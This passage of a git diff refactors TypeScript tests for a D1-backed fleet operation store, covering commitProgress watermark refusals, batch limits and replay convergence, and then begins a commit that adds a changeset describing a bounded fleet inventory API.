const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(1, 'original')], + }); + db.hideBatchResults = hidden; + let caught: unknown; + try { + await lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [recordRow(0, 'sibling'), recordRow(1, 'different')], + }); + } catch (error) { + caught = error; + } + db.hideBatchResults = false; + expect(await target.readOperationById(OPERATION_ID)).toEqual( + created.record, + ); + expect(await readRows(target, 'record')).toEqual([ + recordRow(1, 'original'), + ]); + expect(caught).toBeInstanceOf(Error); + await expect( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [recordRow(0, 'sibling'), recordRow(1, 'original')], + expectedRowWatermarks: { record: 2 }, + }), + ).resolves.toEqual(advanced(created.record)); + }); + }); + + it.each([ + false, + true, + ])('commitProgress refuses a missing update target before sibling writes (hidden response %s)', async (hidden) => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending', 0)], + }); + const transition = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [itemRow('pending', 2)], + updateRows: [itemRow('active', 0), itemRow('active', 1)], + }; + db.hideBatchResults = hidden; + let caught: unknown; + try { + await lease.commitProgress(transition); + } catch (error) { + caught = error; + } + db.hideBatchResults = false; + expect(await target.readOperationById(OPERATION_ID)).toEqual( + created.record, + ); + expect(await readRows(target, 'item')).toEqual([itemRow('pending', 0)]); + expect(caught).toBeInstanceOf(Error); + expect((caught as Error).message).toBe( + "fleet operation '" + + OPERATION_ID + + "' is no longer at the expected revision", + ); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending', 1)], + }); + db.hideBatchResults = hidden; + await expect(lease.commitProgress(transition)).resolves.toEqual( + advanced(created.record), + ); + await expect(lease.commitProgress(transition)).resolves.toEqual( + advanced(created.record), + ); + expect(await readRows(target, 'item')).toEqual([ + itemRow('active', 0), + itemRow('active', 1), + itemRow('pending', 2), + ]); + }); + }); + + it.each([ + 'account', + 'operation', + ] as const)('commitProgress scopes missing update targets by %s even outside its watermark', async (scope) => { + const db = new MemoryD1(); + const target = store(db); + const foreign = store( + db, + scope === 'account' ? 'account-other' : 'account-primary', + ); + await foreign.withAccountOperationLease('migration', async (lease) => { + const id = scope === 'operation' ? SECOND_OPERATION_ID : OPERATION_ID; + await start(lease, 'migration', id); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [itemRow('pending', 1)], + }); + await lease.failOperation({ + operationId: id, + expectedRevision: 0, + runRecord: runRecord('migration', 1, 'failed', id), + }); + }); + await target.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending', 0)], + }); + await expect( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + updateRows: [itemRow('active', 1)], + expectedRowWatermarks: { item: 1 }, + }), + ).rejects.toThrow( + "fleet operation '" + + OPERATION_ID + + "' is no longer at the expected revision", + ); + expect(await target.readOperationById(OPERATION_ID)).toEqual( + created.record, + ); + expect(await readRows(target, 'item')).toEqual([itemRow('pending', 0)]); + }); + }); + + it('commitProgress accepts canonical record key order on exact restaging', async () => { + const db = new MemoryD1(); + await store(db).withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [{ rowKind: 'record', ordinal: 0, payload: { z: 1, a: 2 } }], + }); + await expect( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [{ rowKind: 'record', ordinal: 0, payload: { a: 2, z: 1 } }], + expectedRowWatermarks: { record: 1 }, + }), + ).resolves.toEqual(advanced(created.record)); + }); + }); + it('commitProgress converges on byte-identical replay', async () => { const db = new MemoryD1(); const result = await store(db).withAccountOperationLease( @@ -761,42 +979,34 @@ describe('D1FleetOperationStore', () => { ); }); - it('a commitProgress refused on a watermark leaves no row a later commit can converge over', async () => { - const conflict = `fleet operation '${OPERATION_ID}' is no longer at the expected revision`; - - // Leg A: the watermark is of a kind the batch does not insert, so the - // refusal comes from a claim the operation cannot satisfy yet. - const legA = new MemoryD1(); - const legATarget = store(legA); - await legATarget.withAccountOperationLease('audit', async (lease) => { + it('a commitProgress refused on a watermark leaves no row a later commit can converge over: foreign-kind watermark', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { const created = await start(lease); await lease.stageRows({ operationId: OPERATION_ID, expectedRevision: 0, rows: [recordRow(0)], }); - const batchMark = legA.batchSizes.length; + const batchMark = db.batchSizes.length; await expect( lease.commitProgress({ operationId: OPERATION_ID, expectedRevision: 0, runRecord: advanced(created.record), - rows: [payloadFindingRow(0, 'payload A')], + rows: [findingRow(0, 'payload A')], expectedRowWatermarks: { record: 2 }, }), - ).rejects.toThrow(conflict); - expect(legA.batchSizes.slice(batchMark)).toHaveLength(1); - expect( - ( - await legATarget.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'finding', - limit: 10, - }) - ).rows, - ).toEqual([]); + ).rejects.toThrow( + new Error( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ), + ); + expect(db.batchSizes.slice(batchMark)).toHaveLength(1); + expect(await readRows(target, 'finding')).toEqual([]); expect( - (await legATarget.readOperationById(OPERATION_ID))?.progress.revision, + (await target.readOperationById(OPERATION_ID))?.progress.revision, ).toBe(0); await lease.stageRows({ operationId: OPERATION_ID, @@ -807,27 +1017,20 @@ describe('D1FleetOperationStore', () => { operationId: OPERATION_ID, expectedRevision: 0, runRecord: advanced(created.record), - rows: [payloadFindingRow(0, 'payload B')], + rows: [findingRow(0, 'payload B')], expectedRowWatermarks: { record: 2 }, }); expect(committed.progress.revision).toBe(1); }); - expect( - ( - await legATarget.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'finding', - limit: 10, - }) - ).rows[0]?.payload.detail, - ).toBe('payload B'); - - // Leg B: the watermark is the inserted row's own kind, so only the - // pre-state dense prefix distinguishes the refusal from a commit that - // lands the row and refuses the run update. - const legB = new MemoryD1(); - const legBTarget = store(legB); - await legBTarget.withAccountOperationLease('audit', async (lease) => { + expect((await readRows(target, 'finding'))[0]?.payload.detail).toBe( + 'payload B', + ); + }); + + it('a commitProgress refused on a watermark leaves no row a later commit can converge over: inserted-kind watermark', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { const created = await start(lease); const transition = { operationId: OPERATION_ID, @@ -836,16 +1039,14 @@ describe('D1FleetOperationStore', () => { rows: [findingRow(1)], expectedRowWatermarks: { finding: 2 }, } as const; - await expect(lease.commitProgress(transition)).rejects.toThrow(conflict); - expect( - ( - await legBTarget.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'finding', - limit: 10, - }) - ).rows, - ).toEqual([]); + const batchMark = db.batchSizes.length; + await expect(lease.commitProgress(transition)).rejects.toThrow( + new Error( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ), + ); + expect(db.batchSizes.slice(batchMark)).toHaveLength(1); + expect(await readRows(target, 'finding')).toEqual([]); await lease.stageRows({ operationId: OPERATION_ID, expectedRevision: 0, @@ -856,21 +1057,14 @@ describe('D1FleetOperationStore', () => { ); }); expect( - ( - await legBTarget.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'finding', - limit: 10, - }) - ).rows.map((row) => row.ordinal), + (await readRows(target, 'finding')).map((row) => row.ordinal), ).toEqual([0, 1]); + }); - // Leg C is a regression guard, not coverage of the conjunct: it is green - // under an unguarded insert too, and red only under a scheme that counts - // the batch's own earlier inserts. - const legC = new MemoryD1(); - const legCTarget = store(legC); - await legCTarget.withAccountOperationLease('audit', async (lease) => { + it('a commitProgress refused on a watermark leaves no row a later commit can converge over: surplus staged rows', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { const created = await start(lease); await lease.stageRows({ operationId: OPERATION_ID, @@ -890,30 +1084,21 @@ describe('D1FleetOperationStore', () => { ).toBe(1); }); expect( - ( - await legCTarget.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'finding', - limit: 10, - }) - ).rows.map((row) => row.ordinal), + (await readRows(target, 'finding')).map((row) => row.ordinal), ).toEqual([0, 1, 2]); + }); - // Leg D: the contiguous-run PRECONDITION the dense prefix rests on. The - // batch's own finding inserts below the watermark are ordinals 0 and 2, - // which is not the run [1, 3), so the store refuses before it composes a - // statement. Delete the `below.some((row) => row.ordinal < prefix)` check - // and finding 2 lands through a commit whose run update still refuses. - const legD = new MemoryD1(); - const legDTarget = store(legD); - await legDTarget.withAccountOperationLease('audit', async (lease) => { + it('a commitProgress refused on a watermark leaves no row a later commit can converge over: noncontiguous insert refusal', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { const created = await start(lease); await lease.stageRows({ operationId: OPERATION_ID, expectedRevision: 0, rows: [findingRow(0)], }); - const batchMark = legD.batchSizes.length; + const batchMark = db.batchSizes.length; const refused = await rejection( lease.commitProgress({ operationId: OPERATION_ID, @@ -926,38 +1111,24 @@ describe('D1FleetOperationStore', () => { expect(refused.message).toBe( 'commitProgress finding rows below the watermark must be the contiguous run ending at it', ); - expect(legD.batchSizes.slice(batchMark)).toEqual([]); + expect(db.batchSizes.slice(batchMark)).toEqual([]); }); expect( - ( - await legDTarget.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'finding', - limit: 10, - }) - ).rows.map((row) => row.ordinal), + (await readRows(target, 'finding')).map((row) => row.ordinal), ).toEqual([0]); + }); - // Leg E: the same conjunct on the row UPDATE, which no other title - // reaches — title 19's watermark carries no inserts, so its `prefix` - // equals the watermark and its UPDATE conjunct is indistinguishable from - // the run update's. Here the UPDATE's own conjunct is the only thing - // keeping the new payload out of the table, and the persisted `pending` - // payload asserted after the lease is this leg's SOLE conjunct: delete - // `${rowWatermarkSql}` AND its `...watermarkBindings.rowStatement` - // bindings from the UPDATE and the row reads 'active' through a refused - // commit. Deleting the SQL alone leaves the bindings over-supplied and - // the statement raises `column index out of range` instead. - const legE = new MemoryD1(); - const legETarget = store(legE); - await legETarget.withAccountOperationLease('migration', async (lease) => { + it('a commitProgress refused on a watermark leaves no row a later commit can converge over: item update watermark', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('migration', async (lease) => { const created = await start(lease, 'migration'); await lease.stageRows({ operationId: OPERATION_ID, expectedRevision: 0, rows: [itemRow('pending', 0)], }); - const batchMark = legE.batchSizes.length; + const batchMark = db.batchSizes.length; const refused = await rejection( lease.commitProgress({ operationId: OPERATION_ID, @@ -967,24 +1138,12 @@ describe('D1FleetOperationStore', () => { expectedRowWatermarks: { item: 2 }, }), ); - // The convergence read re-verifies the claimed watermarks BEFORE it - // compares the persisted record, so an unsatisfiable `{item: 2}` - // reports the conflict. That message does NOT discriminate the - // UPDATE's own conjunct: delete the conjunct and its bindings and the - // run update still refuses on its own watermark, and the convergence - // read still reports the conflict. - expect(refused.message).toBe(conflict); - expect(legE.batchSizes.slice(batchMark)).toHaveLength(1); + expect(refused.message).toBe( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ); + expect(db.batchSizes.slice(batchMark)).toHaveLength(1); }); - expect( - ( - await legETarget.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'item', - limit: 10, - }) - ).rows[0]?.payload.status, - ).toBe('pending'); + expect((await readRows(target, 'item'))[0]?.payload.status).toBe('pending'); }); it('a guarded item-row update stands or falls with the run update', async () => { @@ -1019,10 +1178,6 @@ describe('D1FleetOperationStore', () => { }); }, ); - // The refused commit intends revision 2 against a persisted revision 0, - // so the convergence read's run-record comparison classifies it before - // it compares the item row's bytes at all: a stale replay is a conflict, - // not corruption. expect(error?.message).toBe( `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, ); @@ -1047,9 +1202,6 @@ describe('D1FleetOperationStore', () => { expectedRevision: 0, rows: [itemRow('pending', 0)], }); - // Actor A abandons, composed exactly as `abandonFleetAuditOperation` - // composes it: the SAME revision 1 actor B's in-flight transition - // below intends, and no `updateRows`, so A writes no row at all. const abandoned: FleetOperationRunRecord = { ...created.record, state: 'failed', @@ -1065,11 +1217,6 @@ describe('D1FleetOperationStore', () => { runRecord: abandoned, }); const batchMark = db.batchSizes.length; - // B derived its transition before the abandon landed. Its batch is - // refused whole, the watermark still holds, and the target revision - // MATCHES — only the run record's bytes and the item row's differ. - // The run-record comparison is the sole conjunct: run the payload - // loop first and this same call reports corruption instead. const refused = await rejection( lease.commitProgress({ operationId: OPERATION_ID, @@ -1086,20 +1233,10 @@ describe('D1FleetOperationStore', () => { expect(error.message).toBe( `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, ); - // A's transition is the one that stands, and it wrote no row: the staged - // `pending` payload is untouched. const persisted = await target.readOperationById(OPERATION_ID); expect(persisted?.state).toBe('failed'); expect(persisted?.progress.revision).toBe(1); - expect( - ( - await target.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'item', - limit: 10, - }) - ).rows[0]?.payload.status, - ).toBe('pending'); + expect((await readRows(target, 'item'))[0]?.payload.status).toBe('pending'); }); it('a commitProgress after the operation is pruned reports the unknown operation, not a watermark conflict', async () => { @@ -1112,15 +1249,12 @@ describe('D1FleetOperationStore', () => { expectedRevision: 0, rows: [itemRow('pending', 0)], }); - // Terminal and head-released, which is what makes it a prune candidate. await lease.failOperation({ operationId: OPERATION_ID, expectedRevision: 0, runRecord: advanced(created.record, 'failed'), }); }); - // The shipped prune path, not a hand-rolled delete: one batch drops the - // staged rows AND the operation record together. expect( await target.pruneFleetOperations({ kind: 'migration', limit: 10 }), ).toEqual({ deleted: 1, releasedPins: 0 }); @@ -1142,16 +1276,47 @@ describe('D1FleetOperationStore', () => { return refused; }, ); - // Sole conjunct: the operation-row read preceding the watermark loop. - // Move the read back below that loop and the same call reports the - // conflict, because every NON-ZERO watermark claim over a pruned - // operation is unsatisfiable. The `{item: 1}` claim above is non-zero - // ON PURPOSE: a claim of zero is satisfied by no rows at all, so under - // the mutation it would fall through the loop and still report the - // unknown operation, and this proof would show nothing. expect(error.message).toBe(`no fleet operation '${OPERATION_ID}'`); }); + it('commitProgress retains the 99-update batch boundary with scoped target checks', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: Array.from({ length: 99 }, (_, ordinal) => + itemRow('pending', ordinal), + ), + }); + const mark = db.batchSizes.length; + const bindingMark = db.bindingCounts.length; + await lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + updateRows: Array.from({ length: 99 }, (_, ordinal) => + itemRow('active', ordinal), + ), + expectedRowWatermarks: { item: 99 }, + }); + expect(db.batchSizes.slice(mark)).toEqual([100]); + expect( + Math.max(...db.bindingCounts.slice(bindingMark)), + ).toBeLessThanOrEqual(100); + const page = await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'item', + limit: 100, + }); + expect(page.rows).toEqual( + Array.from({ length: 99 }, (_, ordinal) => itemRow('active', ordinal)), + ); + }); + }); + it('the batch-budget refusal fires with its fixed message (rows + updates + 1 > 100)', async () => { const acceptedDb = new MemoryD1(); await store(acceptedDb).withAccountOperationLease( @@ -1160,18 +1325,20 @@ describe('D1FleetOperationStore', () => { const created = await start(lease); const batchMark = acceptedDb.batchSizes.length; const bindingMark = acceptedDb.bindingCounts.length; - // 99 rows + 1 run-update statement = the 100-statement batch boundary. await lease.commitProgress({ operationId: OPERATION_ID, expectedRevision: 0, runRecord: advanced(created.record), - rows: Array.from({ length: 99 }, (_, index) => recordRow(index)), + rows: Array.from({ length: 99 }, (_, ordinal) => ({ + rowKind: 'record' as const, + ordinal, + payload: { + chunks: Array.from({ length: 23 }, () => 'x'.repeat(4096)), + }, + })), expectedRowWatermarks: { record: 0 }, }); expect(acceptedDb.batchSizes.slice(batchMark)).toEqual([100]); - // Per-statement binding counts: see the derivation comment on - // "watermark guards hold under a retry..." above (17 per row under one - // watermark, 13 for the run update). expect(acceptedDb.bindingCounts.slice(bindingMark)).toEqual([ ...Array.from({ length: 99 }, () => 17), 13, @@ -1186,7 +1353,6 @@ describe('D1FleetOperationStore', () => { async (lease) => { const created = await start(lease); const batchMark = db.batchSizes.length; - // 100 rows + 1 run-update statement is one over the boundary. const rejected = await rejection( lease.commitProgress({ operationId: OPERATION_ID, @@ -1430,15 +1596,7 @@ describe('D1FleetOperationStore', () => { state: 'failed', terminalAtMs: expect.any(Number), }); - expect( - ( - await target.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'item', - limit: 10, - }) - ).rows[0]?.payload.status, - ).toBe('failed'); + expect((await readRows(target, 'item'))[0]?.payload.status).toBe('failed'); expect( db.sqlite .prepare( @@ -1584,6 +1742,26 @@ describe('D1FleetOperationStore', () => { ).resolves.toMatchObject({ rows: [itemRow('failed')], done: true }); }); + it.each([ + { rowKind: 'cursor' as FleetOperationRowKind, limit: 1 }, + { rowKind: 'finding' as const, afterOrdinal: -1, limit: 1 }, + { rowKind: 'finding' as const, limit: 0 }, + ])('readOperationRowsPage rejects invalid selectors before schema work (%j)', async (selectors) => { + const db = new MemoryD1(); + await expect( + store(db).readOperationRowsPage({ + operationId: OPERATION_ID, + ...selectors, + }), + ).rejects.toThrow(); + expect( + db.sqlite + .prepare("SELECT name FROM sqlite_master WHERE type = 'table'") + .all(), + ).toEqual([]); + expect(db.batchSizes).toEqual([]); + }); + it('readOperationRowsPage limit validation + ordinal order + done + payload parse fail-closed', async () => { const db = new MemoryD1(); const target = store(db); @@ -1758,10 +1936,9 @@ describe('D1FleetOperationStore', () => { }); it('finalize and fail refuse a cross-kind operation id at the terminal probe', async () => { - const db = new MemoryD1(); - const target = store(db); - const otherKind = `fleet operation '${OPERATION_ID}' belongs to the other operation kind`; - const secondOtherKind = `fleet operation '${SECOND_OPERATION_ID}' belongs to the other operation kind`; + const target = store(new MemoryD1()); + const otherKind = fleetOperationOtherKindMessage(OPERATION_ID); + const secondOtherKind = fleetOperationOtherKindMessage(SECOND_OPERATION_ID); await seedTerminal(target, 'migration', OPERATION_ID, 'finalized'); await seedTerminal(target, 'migration', SECOND_OPERATION_ID, 'failed'); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index c2874d8b..8924b324 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -19,6 +19,22 @@ interface ProbeError { readonly errors?: readonly ProbeError[]; } +interface OperationSnapshot { + revision: number | null; + record: string | null; + rows: Array<{ row_kind: string; ordinal: number; payload: string }>; +} + +interface OperationCommitProbe { + before: OperationSnapshot; + afterRefusal: OperationSnapshot; + refused: ProbeError | null; + accepted: { progress: { revision: number } }; + afterAcceptance: OperationSnapshot; + replay: { progress: { revision: number } }; + afterReplay: OperationSnapshot; +} + interface CleanupTerminalProbe { stale: ProbeError | undefined; rowPhaseAfterStale: string | null; @@ -122,11 +138,6 @@ function harnessOptions() { } describe.sequential('D1FleetStateStore Wrangler harness', { - // Real workerd + D1 through Wrangler: the two-pass R2 detach/deletion title - // timed out at a 30 s cap inside the full package suite and has since needed - // as much as 45.2 s in a six-file run; 150 s keeps a 3x margin over that. - // The hooks below repeat this value because hooks take vitest's hookTimeout, - // not this option; every title inherits it. timeout: 150_000, }, () => { let server: TestHarness; @@ -1172,9 +1183,6 @@ describe.sequential('D1FleetStateStore Wrangler harness', { ).resolves.toEqual({ blocked: true, count: 1_100 }); }); - // Resetting the server recreates storage and rebinds `worker`, - // so this case stays last. - it('completes a cleanup terminal atomically with a receipt, claims release, and row delete', async () => { const result = await probe( 'cleanup-terminal-receipt', @@ -1358,8 +1366,6 @@ describe.sequential('D1FleetStateStore Wrangler harness', { revision: 2, staleReplay: 'conflict', }); - // The guarded staging inserts fence every loser out, so only the winner's - // own meta ordinal and the later trailing chunk's row exist. expect(result.rowCounts).toEqual([ { kind: 'deployment', count: 1 }, { kind: 'finding', count: 1 }, @@ -1561,38 +1567,209 @@ describe.sequential('D1FleetStateStore Wrangler harness', { expect(result.noSecondAdvance).toBe(true); }); - it('commitProgress watermark conjuncts against real D1 (an unsatisfiable claim lands no row and does not advance the revision; a dense prefix commits)', async () => { - await expect( - probe<{ - refused: ProbeError; - revisionAfterRefusal: number; - findingsAfterRefusal: number; - acceptedRevision: number; - rowOrdinals: number[]; - }>('operation-commit-watermark'), - ).resolves.toEqual({ - refused: { - name: 'Error', - message: - "fleet operation '123e4567-e89b-42d3-a456-426614174305' is no longer at the expected revision", + it('commitProgress watermark conjuncts (an unsatisfiable claim lands no row and does not advance the revision; a dense prefix commits)', async () => { + const result = await probe< + OperationCommitProbe & { + beforeFindingRefusal: OperationSnapshot; + afterFindingRefusal: OperationSnapshot; + findingRefused: ProbeError | null; + } + >('operation-commit-watermark'); + expect(result.beforeFindingRefusal.revision).toBe(0); + expect(result.beforeFindingRefusal.rows).toEqual([]); + expect(result.afterFindingRefusal).toEqual(result.beforeFindingRefusal); + expect(result.before.revision).toBe(0); + expect(result.before.rows).toEqual([ + { row_kind: 'fact', ordinal: 1, payload: expect.any(String) }, + { row_kind: 'finding', ordinal: 0, payload: expect.any(String) }, + ]); + expect(result.afterRefusal).toEqual(result.before); + const conflict = { + name: 'Error', + message: + "fleet operation '123e4567-e89b-42d3-a456-426614174305' is no longer at the expected revision", + }; + expect(result.findingRefused).toEqual(conflict); + expect(result.refused).toEqual(conflict); + expect(result.accepted.progress.revision).toBe(1); + expect(result.afterAcceptance.revision).toBe(1); + expect(result.afterAcceptance.rows).toEqual([ + { row_kind: 'fact', ordinal: 0, payload: expect.any(String) }, + result.before.rows[0], + { row_kind: 'fact', ordinal: 2, payload: expect.any(String) }, + result.before.rows[1], + { row_kind: 'finding', ordinal: 1, payload: expect.any(String) }, + { row_kind: 'finding', ordinal: 2, payload: expect.any(String) }, + ]); + expect(result.replay).toEqual(result.accepted); + expect(result.afterReplay).toEqual(result.afterAcceptance); + }); + + it('commitProgress row-UPDATE dense prefix (updates ordinal 1 while preserving ordinal 0 under an item watermark of 2)', async () => { + const result = await probe<{ + before: OperationSnapshot; + afterAcceptance: OperationSnapshot; + acceptedRevision: number; + items: Array<{ + rowKind: string; + ordinal: number; + payload: Record; + }>; + }>('operation-commit-row-update'); + expect(result.before.revision).toBe(0); + expect(result.before.rows).toEqual([ + { row_kind: 'item', ordinal: 0, payload: expect.any(String) }, + { row_kind: 'item', ordinal: 1, payload: expect.any(String) }, + ]); + expect(result.acceptedRevision).toBe(1); + expect(result.afterAcceptance.revision).toBe(1); + expect(result.afterAcceptance.rows).toEqual([ + result.before.rows[0], + { row_kind: 'item', ordinal: 1, payload: expect.any(String) }, + ]); + expect(result.items).toEqual([ + { + rowKind: 'item', + ordinal: 0, + payload: { + ordinal: 0, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: 'c'.repeat(64), + status: 'pending', + }, + }, + { + rowKind: 'item', + ordinal: 1, + payload: { + ordinal: 1, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: 'c'.repeat(64), + targetSpecDigest: 'd'.repeat(64), + plan: [{ step: 'promote' }], + planCursor: 0, + status: 'active', + }, + }, + ]); + }); + + it.each([ + { delivery: 'ordinary', viaStage: false }, + { delivery: 'hidden', viaStage: false }, + { delivery: 'ordinary', viaStage: true }, + { delivery: 'hidden', viaStage: true }, + ] as const)('commitProgress immutable conflict rolls back an earlier insert and accepts exact staged bytes with $delivery results (stageRows $viaStage)', async ({ + delivery, + viaStage, + }) => { + const result = await probe( + 'operation-commit-immutable-conflict', + { hideResults: delivery === 'hidden', viaStage }, + ); + expect(result.before.revision).toBe(0); + expect(result.before.rows).toEqual([ + { + row_kind: 'finding', + ordinal: 1, + payload: JSON.stringify({ + tenantTag: 'tenant', + environment: 'production', + kind: 'audit-error', + detail: 'safe finding 1', + }), }, - revisionAfterRefusal: 0, - findingsAfterRefusal: 0, - acceptedRevision: 1, - rowOrdinals: [0, 1, 2], + ]); + expect(result.afterRefusal).toEqual(result.before); + expect(result.refused).toMatchObject({ + message: expect.stringContaining('UNIQUE constraint failed'), }); + expect(result.accepted.progress.revision).toBe(1); + expect(result.afterAcceptance.revision).toBe(1); + expect(result.afterAcceptance.rows).toEqual([ + { + row_kind: 'finding', + ordinal: 0, + payload: JSON.stringify({ + tenantTag: 'tenant', + environment: 'production', + kind: 'audit-error', + detail: 'safe finding 0', + }), + }, + result.before.rows[0], + ]); + expect(result.accepted).toEqual( + JSON.parse(result.afterAcceptance.record ?? 'null'), + ); + expect(result.replay).toEqual(result.accepted); + expect(result.afterReplay).toEqual(result.afterAcceptance); }); - it("commitProgress row-UPDATE dense prefix against real D1 (a satisfiable item watermark commits the update the audit probe's kind cannot carry)", async () => { - await expect( - probe<{ - acceptedRevision: number; - itemStatus: string; - }>('operation-commit-row-update'), - ).resolves.toEqual({ - acceptedRevision: 1, - itemStatus: 'active', + it.each([ + 'ordinary', + 'hidden', + ] as const)('commitProgress missing update target preserves the batch and permits repaired update/insert replay with %s results', async (delivery) => { + const result = await probe( + 'operation-commit-missing-update', + { hideResults: delivery === 'hidden' }, + ); + expect(result.before.revision).toBe(0); + expect(result.before.rows).toEqual([ + { + row_kind: 'item', + ordinal: 0, + payload: JSON.stringify({ + ordinal: 0, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: 'c'.repeat(64), + status: 'pending', + }), + }, + ]); + expect(result.afterRefusal).toEqual(result.before); + expect(result.refused).toEqual({ + name: 'Error', + message: + "fleet operation '123e4567-e89b-42d3-a456-426614174308' is no longer at the expected revision", }); + expect(result.accepted.progress.revision).toBe(1); + expect(result.afterAcceptance.revision).toBe(1); + expect(result.afterAcceptance.rows).toEqual([ + ...[0, 1].map((ordinal) => ({ + row_kind: 'item', + ordinal, + payload: JSON.stringify({ + ordinal, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: 'c'.repeat(64), + targetSpecDigest: 'd'.repeat(64), + plan: [{ step: 'promote' }], + planCursor: 0, + status: 'active', + }), + })), + { + row_kind: 'item', + ordinal: 2, + payload: JSON.stringify({ + ordinal: 2, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: 'c'.repeat(64), + status: 'pending', + }), + }, + ]); + expect(result.accepted).toEqual( + JSON.parse(result.afterAcceptance.record ?? 'null'), + ); + expect(result.replay).toEqual(result.accepted); + expect(result.afterReplay).toEqual(result.afterAcceptance); }); it('finalize convergence', async () => { From 9b6134bc3ce61a09fe1cf5110a6ca1545f1f0d3e Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 8 Sep 2026 18:43:13 +0400 Subject: [PATCH 086/169] fix(fleet-control): preserve inventory identity and recovery --- .changeset/bounded-fleet-inventory.md | 4 + docs/fleet-control.md | 6 +- docs/security-threat-model.md | 6 +- .../src/d1-fleet-inventory-run-store.ts | 423 +++-- .../src/fleet-inventory-advance.ts | 15 +- .../src/fleet-inventory-state.ts | 10 +- .../fixtures/fleet-state-harness-probe.ts | 1078 +++++++++++- .../test/fleet-inventory-advance.test.ts | 489 +++++- .../test/fleet-inventory-run-store.test.ts | 1456 ++++++++++++++++- .../test/fleet-inventory-state.test.ts | 8 +- .../test/state-store.harness.test.ts | 904 ++++++++++ 11 files changed, 4194 insertions(+), 205 deletions(-) diff --git a/.changeset/bounded-fleet-inventory.md b/.changeset/bounded-fleet-inventory.md index abebb64a..8760dd79 100644 --- a/.changeset/bounded-fleet-inventory.md +++ b/.changeset/bounded-fleet-inventory.md @@ -4,6 +4,10 @@ Add a bounded, resumable account inventory API with durable generations. `advanceFleetInventory()` performs at most one provider stage chunk per call against a `FleetInventoryRunStore`; `D1FleetInventoryRunStore` implements that port over the existing Fleet D1 binding with operation-keyed runs, lease-fenced guarded batches, generation pinning, and bounded garbage collection. Build the provider seam with `cloudflareFleetInventoryContext(client)`, call `start` with an operation id, then re-enqueue only the pending token each call returns. The final call returns a `FleetInventoryGenerationRef`; read the rows back as today's `FleetResourceInventory` with `readFleetInventoryGeneration()`. Budgets are caller-supplied and validated: `maxProviderRequests` 9..1,000 and `maxStagedRowsPerChunk` 1..2,000 (default 500). +Starts reject malformed identity and inconsistent options before claiming durable run state. Chunk commits retain the operation's account, physical generation and options. Conflicting immutable row or fact payloads roll back sibling writes; duplicate keys refuse before SQL. Exact replay compares the intended run record as well as staged bytes, so a failed run at the same revision cannot be returned as a successful chunk. Database errors propagate, and callers must retain immutable payloads across uncertain responses and lease-expiry retries. + +Cross-account operation-ID collisions roll back the losing head claim and generation allocation. Exact failure and finalized continuation retries repair interrupted head cleanup while preserving newer operations and historical pin requirements. Future tokens refuse before fallback repair. Pruning retains active terminal generations until head cleanup finishes. Pin admission verifies the finalized physical target in its INSERT, preventing orphan pins when reclamation wins a concurrent call. Pin admission also checks retained row/fact manifests, so partial reclamation cannot create a pin over missing data. Finalization and pinning require dense row ordinals. + - `collectFleetInventory()` keeps its exact signature, refusal message, provider encounter order, finding vocabulary, finding order, and result bytes. It now drains the same engine in memory, and a 